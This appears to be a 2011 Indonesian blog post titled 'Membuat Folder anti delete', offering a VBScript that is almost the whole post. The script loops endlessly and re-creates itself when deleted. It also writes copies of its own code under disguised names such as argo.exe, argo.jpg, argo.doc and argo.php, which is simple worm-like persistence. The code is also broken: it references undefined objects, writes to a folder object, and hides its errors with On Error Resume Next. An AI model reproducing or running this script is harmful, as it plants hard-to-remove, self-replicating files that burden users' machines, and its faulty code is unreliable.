Membuat Folder anti delete

Posted by : Unknown 9 Des 2011

Cuma memakai notepad.
save as dengan ekstensi vbs( misal:argo.vbs) (jangan lupa type All files) . Berikut Kodenya :

Dim FSO
Dim nodelete
Dim create

On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")

'Buka dan Baca Dirinya Sendiri
Set nodelete = FSO.OpenTextFile(WScript.ScriptFullName)
Set nodelete = FSO.OpenTextFile(argo.ScriptFullName)
Set nodelete = FSO.OpenTextFile(argo)

'Simpan Dalam Variabel create

create = nodelete.ReadAll
nodelete.Close
Body.Close
Budy.Close

Do

If FSO.FileExists(WScript.ScriptFullName) = False Then
Set nodelete = FSO.CreateTextFile(WScript.ScriptFullName)
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.txt")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.avi")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.bat")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.exe")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.3gp")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.wmf")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.swf")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.rtf")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo) = False Then
Set nodelete = FSO.Createfolder("argo")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.jpg")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.bmp")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.gif")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.html")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.fla")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.php")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.js")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.doc")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.docs")
nodelete.Write create
nodelete.Close

If FSO.FileExists(argo.ScriptFullName) = False Then
nodelete.Write create
Set nodelete = FSO.CreateTextFile("argo.xml")
nodelete.Write create
nodelete.Close

End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
Loop